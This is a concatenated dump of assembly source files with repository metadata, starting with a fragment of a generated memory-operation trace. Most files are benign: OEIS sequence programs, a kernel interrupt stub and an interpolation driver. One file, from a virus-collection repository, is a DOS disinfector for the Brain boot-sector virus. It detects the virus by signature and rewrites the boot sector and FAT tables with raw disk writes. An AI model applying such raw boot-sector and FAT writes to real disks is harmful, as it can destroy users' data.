{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 41.697183 | 2,999 | 0.660868 |
002907439e2cfcc5a51bacf425c0e5c7acd2b741 | 338 | asm | Assembly | 0x05-libasm/6-putc.asm | alzheimeer/holbertonschool-system_linux | e7b961b4c12295438948eaeb84ced71dc34f297b | [
"MIT"
] | 1 | 2021-09-27T17:52:48.000Z | 2021-09-27T17:52:48.000Z | 0x05-libasm/6-putc.asm | alzheimeer/holbertonschool-system_linux | e7b961b4c12295438948eaeb84ced71dc34f297b | [
"MIT"
] | null | null | null | 0x05-libasm/6-putc.asm | alzheimeer/holbertonschool-system_linux | e7b961b4c12295438948eaeb84ced71dc34f297b | [
"MIT"
] | null | null | null | BITS 64
global asm_putc
section .text
asm_putc:
push rsi
push rdx
push rdi
mov rax, 1 ; write syscall
mov rsi, rsp ; Character
mov rdi, 1 ; stdout
mov rdx, 1 ; one byte
syscall
end:
pop rdi
pop rdx
pop rsi
ret
| 14.083333 | 47 | 0.45858 |
e96d23b8e98a5658f5c0d8c9a840d514e52cbdd4 | 834 | asm | Assembly | oeis/141/A141992.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/141/A141992.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/141/A141992.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A141992: Primes congruent to 16 mod 29.
; Submitted by Jon Maiga
; 103,277,509,683,857,1031,1321,1553,1669,1901,2017,2423,2539,2713,2887,3061,3119,3467,3583,3931,3989,4337,4801,5323,5381,5903,6367,6599,6947,7121,7237,7411,7643,7759,7817,7933,8513,8629,8803,8861,9151,9209,10079,10253,10369,10427,10601,10891,10949,11239,11471,11587,12109,12457,12689,12979,13037,13327,13907,14081,14197,14951,15241,15299,15473,15647,15937,16111,16633,16691,16981,17387,17851,17909,18199,18257,19069,19301,19417,19997,20113,20287,20693,20809,20983,21157,21563,21737,21911,22027,22259
mov $2,$0
add $2,2
pow $2,2
lpb $2
mul $1,$4
mov $3,$1
sub $1,5
add $3,44
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,63
sub $2,1
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,13
| 34.75 | 500 | 0.723022 |
f72b2eb5dd130bc03f4806eb699a0408de5c39ae | 6,746 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.nobrain.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.nobrain.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.nobrain.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ; Date : 27-1-1989
; Ver : 1.04
; Program : Kill the Brain Virus
Cseg Segment Para Public 'MyCode'
Assume cs:Cseg,ds:Cseg
Org 100h
Start: Mov dx,offset CRight ;print copyright notice
Call DispStr
Mov ah,19h ;get current drive
Int 21h
Mov Drive,al ;save it
Call GetDrive ;Get drive if possible
Jc Exit
Call ChVirus ;virus present?
Jc Exit ;exit if not
Call FindBoot ;Find correct boot sector
Mov dx,offset VirusKill
Call DispStr
Call ReadFats ;Read the FAT tables
Jc Exit
Call CheckBad
Exit: Mov ax,4C00h
Int 21h
FindBoot Proc
Mov dl,[si+6]
Mov ax,18 ;9 sectors/track * 2 sides
Mov cl,[si+8]
Mul cl
Or dl,dl
Jz Fb1
Add ax,10 ;Move to the next side
Fb1: Mov dx,ax ;read this sector
Mov cx,1 ;Read one sector
Mov bx,offset PrgEnd ;Read it here
Mov al,Drive ;Get drive number
Int 25h ;Read interrupt
Jnc Fb2
Add sp,2
Mov dx,offset MesOh1
Call DispStr
Stc
Ret
Fb2: Add sp,2
Xor dx,dx ;Write at boot
Mov cx,1 ;Write one sector
Mov bx,offset PrgEnd ;Write from here
Mov al,Drive ;Get drive number
Int 26h ;Write interrupt
Jnc Fb3
Add sp,2
Mov dx,offset MesOh2 ;Print message
Call DispStr
Stc
Ret
Fb3: Add sp,2
Clc
Ret
FindBoot Endp
PointTo Proc
Push bx
Mov dx,ax
Add ax,ax
Add ax,dx
Mov dx,ax
Shr ax,1 ;Cluster * 1.5
Mov bx,offset PrgEnd
Add bx,ax
Mov ax,ds:[bx] ;Get entry
Test dx,1
Jnz Point1
And ax,0FFFh
Jmp short Point0
Point1: Shr ax,1
Shr ax,1
Shr ax,1
Shr ax,1
Point0: Pop bx
Ret
PointTo Endp
ReadFats Proc
Mov bx,offset PrgEnd
Mov al,Drive
Mov cx,4 ;read FAT1 and FAT2
Mov dx,1 ;FAT sectors
Int 25h ;Read FAT tables
Jnc Rf1
Add sp,2
Mov dx,offset FatError
Call DispStr
Stc
Ret
Rf1: Add sp,2
Clc
Ret
ReadFats Endp
CheckBad Proc
Call FindBad ;Find real boot sector
Call WriteFats
Exit1: Ret
CheckBad Endp
FindBad Proc
Mov cx,354 ;Check 354 clusters
Mov ax,2 ;start with cluster 2
Mov bx,ax
FM: Call PointTo ;Find where it points
Cmp ax,0FF7h ;Is it bad?
Jz ChkBd ;Check if realy bad
FindMore1: Inc bx
Mov ax,bx
Loop FM
Ret
ChkBd: Push ax
Call CheckCluster ;bx=cluster number, try to read
Pop ax
Jmp short FindMore1
FindBad Endp
WriteFats Proc
Mov bx,offset PrgEnd
Mov al,Drive
Mov cx,4 ;FAT1 and FAT2
Mov dx,1 ;Start of FAT sectors
Int 26h ;Write FAT tables
Jnc Wf1 ;Jump if not fail
Add sp,2
Mov dx,offset MesOh3 ;Write error
Call DispStr
Stc
Ret
Wf1: Add sp,2
Clc
Ret
WriteFats Endp
CheckCluster Proc
Push bx
Push cx
Sub bx,2
Sal bx,1
Add bx,12 ;bx=sector number
Mov dx,bx ;sector
Mov cx,2 ;2 sectors
Mov bx,offset PrgEnd+205
Mov al,Drive
Int 25h ;Read sectors
Jnc QRc1
Add sp,2
Mov al,2 ;err 2=try more
Pop cx
Pop bx
Ret
QRc1: Add sp,2
Pop cx
Pop bx ;Mark cluster bx as not bad
Mov ax,bx
Push bx
Mov dx,ax
Add ax,ax
Add ax,dx
Mov dx,ax
Shr ax,1 ;Cluster * 1.5
Mov bx,offset PrgEnd
Add bx,ax
Mov ax,ds:[bx] ;Get entry
Test dx,1
Jnz QPo1
And ax,0F000h
Jmp short QPo2
QPo1: And ax,000Fh
QPo2: Mov ds:[bx],ax ;Write entry to FAT1
Mov ds:[bx+1024],ax ;Write entry to FAT2
Pop bx
Ret
CheckCluster Endp
ChVirus Proc
Call ReadBoot ;Read the boot sector
Jnc ChVirus1
Ret
ChVirus1: Mov si,offset PrgEnd
Mov dx,offset MesBad ;Assume bad news
Cmp word ptr [si+4],1234h
Jz InThere
Mov dx,offset MesGood ;Assume all OK
Mov di,436 ;Vector of interrupt 13h
Push es
Xor ax,ax
Mov es,ax
Mov ax,es:[di+2] ;get segment of the interrupt
Pop es
Cmp ax,0C800h
Jb InThere
Mov dx,offset MesBad1 ;active now!
Call DispStr
Mov bx,offset PrgEnd
Mov ah,2 ;Read
Mov al,1 ;1 sector
Mov dl,Drive
Xor dh,dh ;head number
Xor ch,ch ;track number
Mov cl,1 ;sector 1
Int 6Dh ;Virus uses interrupt 6Dh
Mov si,offset PrgEnd
Mov dx,offset MesBad
Cmp word ptr [si+4],1234h
Jz InThere1
Mov dx,offset MesGood
Call DispStr
Stc ;No need to do more.
Ret
InThere: Call DispStr
Clc ;Do more
Ret
InThere1: Call DispStr ;write bad news
Mov dx,offset MesBad2 ;No lasting effect
Jmp short InThere
ChVirus Endp
ReadBoot Proc
Mov bx,offset PrgEnd ;Put it here
Mov al,Drive ;Drive to use
Mov cx,1 ;One sector
Xor dx,dx ;Boot sector
Int 25h ;Read it
Jnc P0
Add sp,2
Mov dx,offset MesBoot
Cmp ah,80h ;Time-out?
Jz P1
Mov dx,offset MesBoot1
P1: Call DispStr
Stc ;Error
Ret ;Go
P0: Add sp,2
Clc ;No error
Ret ;Go
ReadBoot Endp
GetDrive Proc
Mov si,80h
Mov cl,[si] ;Get length of command tail
Xor ch,ch
Or cx,cx
Jnz Lab1
Cmp byte ptr Drive,2
Jae DriveError1
Clc
Ret
Lab1: Add si,cx
Inc si
Mov byte ptr [si],0 ;Command ends with 0
Mov si,81h
Cld
SpOut: Lodsb
Cmp al,32
Jz SpOut ;Skip blanks
Or al,al
Jnz Stan1
Ret
Stan1: Lodsb
Or al,al
Jnz Check1
Ret
Check1: Cmp al,':'
Jnz Stan1
Cmp si,84h
DriveCheck: Jb DriveError
Mov al,[si-2]
And al,223 ;Convert to upper case
Cmp al,'A'
Jb DriveError1
Cmp al,'B'
Ja DriveError1
Sub al,65 ;Convert drive to 0 or 1
Mov Drive,al
Clc
Ret
DriveError: Mov dx,offset Err8 ;Drive expected
Call DispStr
Stc
Ret
DriveError1: Mov dx,offset Err9 ;Invalid drive
Call DispStr
Stc
Ret
GetDrive Endp
DispStr Proc
Mov ah,9
Int 21h
Ret
DispStr Endp
CRight db 13,10
db 'Kill the <Brain> virus Ver 1.04, 27-1-1989',13,10
db '(C) Fragakis Stelios 1988,1989',13,10,13,10,'$'
Err8 db 'Error 8 : Drive expected.$'
Err9 db 'Error 9 : Invalid drive specified. Must be A or B.$'
MesBoot db 13,10
db 'Program execution aborted. Door open?',13,10,'$'
MesBoot1 db 13,10
db 'I can not read the boot sector.',13,10
db 'Disk can not contain the virus <Brain>.',13,10,'$'
FatError db 13,10
db 'Sorry, I can not read the FAT tables.',13,10
db 'FAT corrections not written to disk.',13,10,'$'
VirusKill db 'Virus <Brain> was successfully killed.',13,10,'$'
MesOh1 db 'DISK ERROR : I can not read the correct boot sector.'
db 13,10,'$'
MesOh2 db 'Failed to write correct boot sector in boot area.'
db 13,10,'$'
MesOh3 db 'Failed to write FAT tables. Corrections lost.'
db 13,10,'$'
MesGood db 'Good News : The disk is not <Brain> contaminated.'
db 13,10,'$'
MesBad db 'Bad News : The disk is <Brain> contaminated.'
db 13,10,'$'
MesBad1 db '* WARNING *',13,10
db 'Virus <Brain> is active right now !',13,10,'$'
MesBad2 db 13,10
db 'Remove the disk after the virus is killed',13,10
db 'to avoid the risk of contamination.',13,10,13,10,'$'
Count db 0 ;Count 0..58
Drive db 0 ;Current drive
PrgEnd:
Cseg Ends
End Start
| 20.380665 | 65 | 0.669286 |
d4c321119b6911bd07b7904aa6cba67ca3dde937 | 525 | asm | Assembly | examples/mem_test.asm | Commodoreprime/Command-Block-Assembly | b54c2afee3ea7bdfddfe619b9b207ce30d160e45 | [
"MIT"
] | 223 | 2017-05-10T18:27:44.000Z | 2022-03-06T22:44:18.000Z | examples/mem_test.asm | Commodoreprime/Command-Block-Assembly | b54c2afee3ea7bdfddfe619b9b207ce30d160e45 | [
"MIT"
] | 25 | 2017-12-07T15:37:37.000Z | 2021-02-05T14:28:59.000Z | examples/mem_test.asm | Commodoreprime/Command-Block-Assembly | b54c2afee3ea7bdfddfe619b9b207ce30d160e45 | [
"MIT"
] | 30 | 2017-12-07T15:16:36.000Z | 2022-03-16T03:29:59.000Z | ; A simple script that tests the HDD driver
; Writes values 0-63 to memory locations 0-63
#include hdd_driver.asm
.count 20
main:
MOV #0, count
_loop:
CMP #64, count
JE _end
MOV count, mar
MOV count, mbr
CALL write_mem
SYNC
ADD #1, count
JMP _loop
_end:
; Same as main except keeps a value of 0 in mbr
clear:
MOV #0, count
MOV #0, mbr
_loop:
CMP #64, count
JE _end
MOV count, mar
CALL write_mem
SYNC
ADD #1, count
JMP _loop
_end:
| 14.189189 | 47 | 0.601905 |
f5aa377b47f962d5200580994ee67d0f513d5022 | 750 | asm | Assembly | oeis/057/A057693.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/057/A057693.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/057/A057693.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A057693: Number of permutations on n letters that have only cycles of length 3 or less.
; Submitted by Christian Krause
; 1,1,2,6,18,66,276,1212,5916,31068,171576,1014696,6319512,41143896,281590128,2007755856,14871825936,114577550352,913508184096,7526682826848,64068860545056,561735627038496,5068388485760832,47026385852423616,447837548306401728,4374221252904547776,43785991472018760576,448610150446698125952,4701535239730197200256,50364829005083927722368,550980793119978524802816,6152261321837767920696576,70071956883285154971386112,813517265957112425038070016,9622679798966205463349395968,115903002464553971792538994176
mov $2,1
lpb $0
sub $0,1
mov $1,$4
mul $1,$0
add $3,$4
mov $4,$2
add $2,$3
mov $3,$1
mul $4,$0
lpe
mov $0,$2
| 44.117647 | 501 | 0.822667 |
ae9504bcb31cb497d5ddad55990512107805593b | 669 | asm | Assembly | oeis/006/A006335.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/006/A006335.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/006/A006335.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A006335: a(n) = 4^n*(3*n)!/((n+1)!*(2*n+1)!).
; Submitted by Jon Maiga
; 1,2,16,192,2816,46592,835584,15876096,315031552,6466437120,136383037440,2941129850880,64614360416256,1442028424527872,32619677465182208,746569714888605696,17262927525017812992,402801642250415636480,9474719710174783733760,224477974671833337692160,5353056650362464680017920,128405456141675526975651840,3096618536518088070833111040,75043585384980900269764116480,1826775278514392200852543635456,44652669930021478140296111849472,1095628613964300587325001453010944,26978076000991089786600035778035712
mov $1,4
pow $1,$0
seq $0,139 ; a(n) = 2*(3*n)!/((2*n+1)!*((n+1)!)).
mul $1,$0
mov $0,$1
div $0,2
| 60.818182 | 496 | 0.816143 |
0eac80ea18316582ae475000655564d1818fc0c2 | 752 | asm | Assembly | kCOM.asm | satadriver/LiunuxOS_t | c6222f04b6e734002cbf1aa366eb62e51f0ebbe5 | [
"Apache-2.0"
] | null | null | null | kCOM.asm | satadriver/LiunuxOS_t | c6222f04b6e734002cbf1aa366eb62e51f0ebbe5 | [
"Apache-2.0"
] | null | null | null | kCOM.asm | satadriver/LiunuxOS_t | c6222f04b6e734002cbf1aa366eb62e51f0ebbe5 | [
"Apache-2.0"
] | null | null | null | .386p
Kernel Segment public para use32
assume cs:Kernel
__kComProc proc
pushad
push ds
push es
comment *
mov ebp,esp
add ebp,32
push dword ptr ICW2_MASTER_INT_NO + 4
push dword ptr 0
push dword ptr [ebp]
push dword ptr [ebp + 4]
push dword ptr [ebp + 8]
test dword ptr [ebp + 4],3
jz _kComKernelModeInt
push dword ptr [ebp + 12]
push dword ptr [ebp + 16]
jmp _kComShowExpInfo
_kComKernelModeInt:
push dword ptr 0
push dword ptr 0
_kComShowExpInfo:
call __exceptionInfo
add esp,28
*
mov ax,rwData32Seg
mov ds,ax
mov es,ax
mov ebx,KernelData
shl ebx,4
cmp dword ptr ds:[ebx + _kCom1Proc],0
jz _kcom1ProcEnd
call dword ptr ds:[ebx + _kCom1Proc]
_kcom1ProcEnd:
mov al,20h
out 20h,al
pop es
pop ds
popad
iretd
__kComProc endp
Kernel ends
| 11.936508 | 37 | 0.75133 |
1e8b5d25754cd98908ebd60def66f7274171a08c | 786 | asm | Assembly | stuff/R316/old/lib/string/other.asm | Daswf852/Stuff | 36f32ce7da1c7a829cb064d9c91c61272ac6bd2e | [
"WTFPL"
] | null | null | null | stuff/R316/old/lib/string/other.asm | Daswf852/Stuff | 36f32ce7da1c7a829cb064d9c91c61272ac6bd2e | [
"WTFPL"
] | null | null | null | stuff/R316/old/lib/string/other.asm | Daswf852/Stuff | 36f32ce7da1c7a829cb064d9c91c61272ac6bd2e | [
"WTFPL"
] | null | null | null | %ifndef __OTHER_ASM
%define __OTHER_ASM
%include "../common.asm"
%include "../datastack.asm"
memset: ; ( ptr char len -- )
push r0
push r1
push r2
push r3
dpop r2
dpop r1
dpop r0
loop r3, r2, .loop, .done
.loop: ;4 bytes/cycle, neato!
mov [r0++], r1
.done:
pop r3
pop r2
pop r1
pop r0
ret
strlen: ; ( str -- len )
push r0
push r1
push r2
push r3
dpop r3
mov r0, 0xFFFF
mov r2, 0
loop r1, r0, .loop, .loop_end
.loop: ;1 byte / cycle + .5 ending, neat!
add r2, 1
cmp [r3++], 0
cmp r3, 0
jz .loop_end
mov r3, mem_lc
mov [r3], 0
.loop_end:
sub r2, 1
dpush r2
pop r3
pop r2
pop r1
pop r0
ret
%endif | 14.290909 | 45 | 0.502545 |
0adbe4ae6be21eaa62428aaae9c885f0912be91d | 3,520 | asm | Assembly | newton/interpolate_driver.asm | pwestrich/csc_3410 | 9b424c6aee65892b90bd77171fe5fa0151762ef5 | [
"MIT"
] | null | null | null | newton/interpolate_driver.asm | pwestrich/csc_3410 | 9b424c6aee65892b90bd77171fe5fa0151762ef5 | [
"MIT"
] | null | null | null | newton/interpolate_driver.asm | pwestrich/csc_3410 | 9b424c6aee65892b90bd77171fe5fa0151762ef5 | [
"MIT"
] | null | null | null |
; interpolate_driver.asm
; CSC 3410 Assignment #3
; by Philip Westrich
; Wednesday, November 5, 2014
.386
.MODEL FLAT
ExitProcess PROTO NEAR32 stdcall, dwExitCode:DWORD
CR EQU 0Dh ; carriage return character
LF EQU 0Ah ; line feed
BUFFER_SIZE EQU 08 ; input buffer size
MIN_POINTS EQU 3 ; need at least three points to interpolate
MAX_NUM_POINTS EQU 020 ; max number of points, change prompt too if number changed
MAX_NUM_ITEMS EQU MAX_NUM_POINTS * 2 ; number of items in the array
.STACK 4096
.DATA
; data from user
x_coord REAL4 ?
solution REAL4 ?
TOLERANCE REAL4 0.001
numPoints WORD ?
numItems WORD ?
degree WORD ?
; large array of floats
points REAL4 MAX_NUM_ITEMS DUP (?)
; prompt strings
xPrompt BYTE "Enter the x-coordinate of the desired interpolated Y: ", CR, LF, 0
degreePrompt BYTE "Enter the degree of the interpolated polynomial: ", CR, LF, 0
pointPrompt BYTE "You may enter up to 20 points, one at a time. Input q to quit.", CR, LF, 0
pointError BYTE "Error: You need one more point than the degree.", CR, LF, 0
pointCheck BYTE "Points entered: ", CR, LF, 0
sorted BYTE "Sorted points: ", CR, LF, 0
interpolatING BYTE "Interpolating...", CR, LF, 0
result BYTE "The result: "
resultString BYTE 16 DUP (0), 0
inputBuffer BYTE BUFFER_SIZE DUP (0), 0
; header files!
INCLUDE compare_floats.h
INCLUDE float.h
INCLUDE interpolate.h
INCLUDE io.h
INCLUDE sort_points.h
INCLUDE debug.h
.CODE
_start:
output xPrompt ; print prompt
input inputBuffer, BUFFER_SIZE ; get input as string
atof inputBuffer, x_coord ; convert to float
output degreePrompt ; print prompt
input inputBuffer, BUFFER_SIZE ; get input as string
atoi inputBuffer ; convert to int
mov degree, ax
xor eax, eax
xor ecx, ecx ; neat fast way to zero a register
lea ebx, points ; the array of points in ebx
output pointPrompt
readPoints:
input inputBuffer, BUFFER_SIZE ; get input
cmp inputBuffer, 'q' ; check if q
je done ; stop if done
atof inputBuffer, REAL4 PTR [ebx + eax] ; else this is x, convert to float
inc ecx ; increment counter
add eax, 4
input inputBuffer, BUFFER_SIZE ; then get Y
atof inputBuffer, REAL4 PTR [ebx + eax] ; else this is x, convert to float
inc ecx ; increment counter
add eax, 4
cmp ecx, MAX_NUM_ITEMS ; check if that was the last item or not
jl readPoints ; keep going if less
done:
mov numItems, cx ; keep numItems
shr ecx, 1 ; calculate numPoints (items / 2)
mov numPoints, cx ; store it
cmp cx, MIN_POINTS ; can't have less than this
jle point_error
cmp cx, degree ; need one more point than degree
jle point_error
; time to start extrapolating!
output pointCheck
print_points points, cx ; check myself
mov eax, x_coord
sort_points points, eax, TOLERANCE, cx ; sort points
output sorted
print_points points, cx ; print sorted points
;output interpolatING
mov ax, degree ; make this totally unambiguous
mov edx, x_coord ; same here
interpolate points, ax, edx ; interpolate the value, result in EAX
ftoa eaX, 8, 8, resultString ; convert to string
output result ; print result
jmp _exit
point_error:
output pointError
_exit:
INVOKE ExitProcess, 0 ; done!
PUBLIC _start
END
| 27.936508 | 94 | 0.669602 |
0240af8c5a5a7aa8cbaa945035ef6a2b029689f0 | 2,669 | asm | Assembly | programs/oeis/288/A288486.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/288/A288486.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/288/A288486.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A288486: Square rings obtained by adding four identical cuboids from A169938, a(n) = 4*n*(n+1)*(n*(n+1)+1).
; 0,24,168,624,1680,3720,7224,12768,21024,32760,48840,70224,97968,133224,177240,231360,297024,375768,469224,579120,707280,855624,1026168,1221024,1442400,1692600,1974024,2289168,2640624,3031080,3463320,3940224,4464768,5040024,5669160,6355440,7102224,7912968,8791224,9740640,10764960,11868024,13053768,14326224,15689520,17147880,18705624,20367168,22137024,24019800,26020200,28143024,30393168,32775624,35295480,37957920,40768224,43731768,46854024,50140560,53597040,57229224,61042968,65044224,69239040,73633560,78234024,83046768,88078224,93334920,98823480,104550624,110523168,116748024,123232200,129982800,137007024,144312168,151905624,159794880,167987520,176491224,185313768,194463024,203946960,213773640,223951224,234487968,245392224,256672440,268337160,280395024,292854768,305725224,319015320,332734080,346890624,361494168,376554024,392079600,408080400,424566024,441546168,459030624,477029280,495552120,514609224,534210768,554367024,575088360,596385240,618268224,640747968,663835224,687540840,711875760,736851024,762477768,788767224,815730720,843379680,871725624,900780168,930555024,961062000,992313000,1024320024,1057095168,1090650624,1124998680,1160151720,1196122224,1232922768,1270566024,1309064760,1348431840,1388680224,1429822968,1471873224,1514844240,1558749360,1603602024,1649415768,1696204224,1743981120,1792760280,1842555624,1893381168,1945251024,1998179400,2052180600,2107269024,2163459168,2220765624,2279203080,2338786320,2399530224,2461449768,2524560024,2588876160,2654413440,2721187224,2789212968,2858506224,2929082640,3000957960,3074148024,3148668768,3224536224,3301766520,3380375880,3460380624,3541797168,3624642024,3708931800,3794683200,3881913024,3970638168,4060875624,4152642480,4245955920,4340833224,4437291768,4535349024,4635022560,4736330040,4839289224,4943917968,5050234224,5158256040,5268001560,5379489024,5492736768,5607763224,5724586920,5843226480,5963700624,6086028168,6210228024,6336319200,6464320800,6594252024,6726132168,6859980624,6995816880,7133660520,7273531224,7415448768,7559433024,7705503960,7853681640,8003986224,8156437968,8311057224,8467864440,8626880160,8788125024,8951619768,9117385224,9285442320,9455812080,9628515624,9803574168,9981009024,10160841600,10343093400,10527786024,10714941168,10904580624,11096726280,11291400120,11488624224,11688420768,11890812024,12095820360,12303468240,12513778224,12726772968,12942475224,13160907840,13382093760,13606056024,13832817768,14062402224,14294832720,14530132680,14768325624,15009435168,15253485024,15500499000
mov $1,1
add $1,$0
pow $1,2
sub $1,$0
bin $1,2
div $1,3
mul $1,24
| 242.636364 | 2,491 | 0.880854 |
